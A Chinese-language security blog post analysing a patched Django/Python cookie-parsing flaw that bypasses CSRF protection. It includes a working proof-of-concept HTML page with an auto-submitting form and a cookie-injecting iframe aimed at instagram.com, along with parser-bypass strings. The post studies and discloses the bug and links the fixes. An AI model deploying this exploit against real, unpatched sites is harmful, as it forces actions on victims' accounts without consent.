virusdefender's blog ʕ•ᴥ•ʔ

Django CSRF 防护绕过漏洞分析

原始漏洞链接 https://hackerone.com/reports/26647

1__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如

1__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/
1Cookie: param1=value2, param2=value2
2Cookie: param1=value2,param2=value2

Python 和 Django 使用了不正确的正则表达式来 parse Cookie,导致用户也可以使用[]来作为分隔符 Cookie: param1=value1]param2=value2

参考

例子

1 >>> from http import cookies
2 >>> C = cookies.SimpleCookie()
3 >>> C.load('__utmz=blah]csrftoken=x')
4 >>> C
5 <SimpleCookie: csrftoken='x'>

除了 Safari 之外,其他的浏览器都可以在 Cookie value 中使用空格、逗号和[]字符。

而且 Chrome 只可以处理有限的 Cookie 属性,比如

1Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

最终只能给.google.com而不是blah.blah.blah.google.com设置上 Cookie

综合在一起利用

条件是

结果

POC

使用 Chrome 可以在 instagram.com 上复现这个问题

http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html的源码是

 1<form 
 2action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
 3id="csrf" 
 4method="POST">
 5      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
 6      <input type="submit" value="Submit request" />
 7</form>
 8<script>
 9      function xxx() {
10        document.getElementById('csrf').submit();
11      }
12</script>
13<iframe 
14onload="xxx()" 
15src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

描述

1http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/

这时候,Cookie 就会使用新的 path 和 domain,.instgram.com 就会被设置一个新的 Cookie _utmz=90378079.1401435337.1.1.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x

修复

Python 的 patch 是 https://hg.python.org/cpython/rev/270f61ec1157,但是后来发现还是有问题的,比如

1C = cookies.SimpleCookie()
2C.load('__utmz=blah csrftoken=x')
3C.load('__utmz=blah\x09csrftoken=x')
4C.load('__utmz=blah\x0bcsrftoken=x')
5C.load('__utmz=blah\x0ccsrftoken=x') 

仍然会被解析为两个 Cookie,但是实际的浏览器处理并不一样

但是 Firefox 是支持所有的字符的,所以可以这样利用

最近 Django 修复了这个问题,https://www.djangoproject.com/weblog/2016/sep/26/security-releases/,使用了简单的 parse Cookie 的方法,https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a,虽然不太标准,但是已经足够了。

思考

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #Django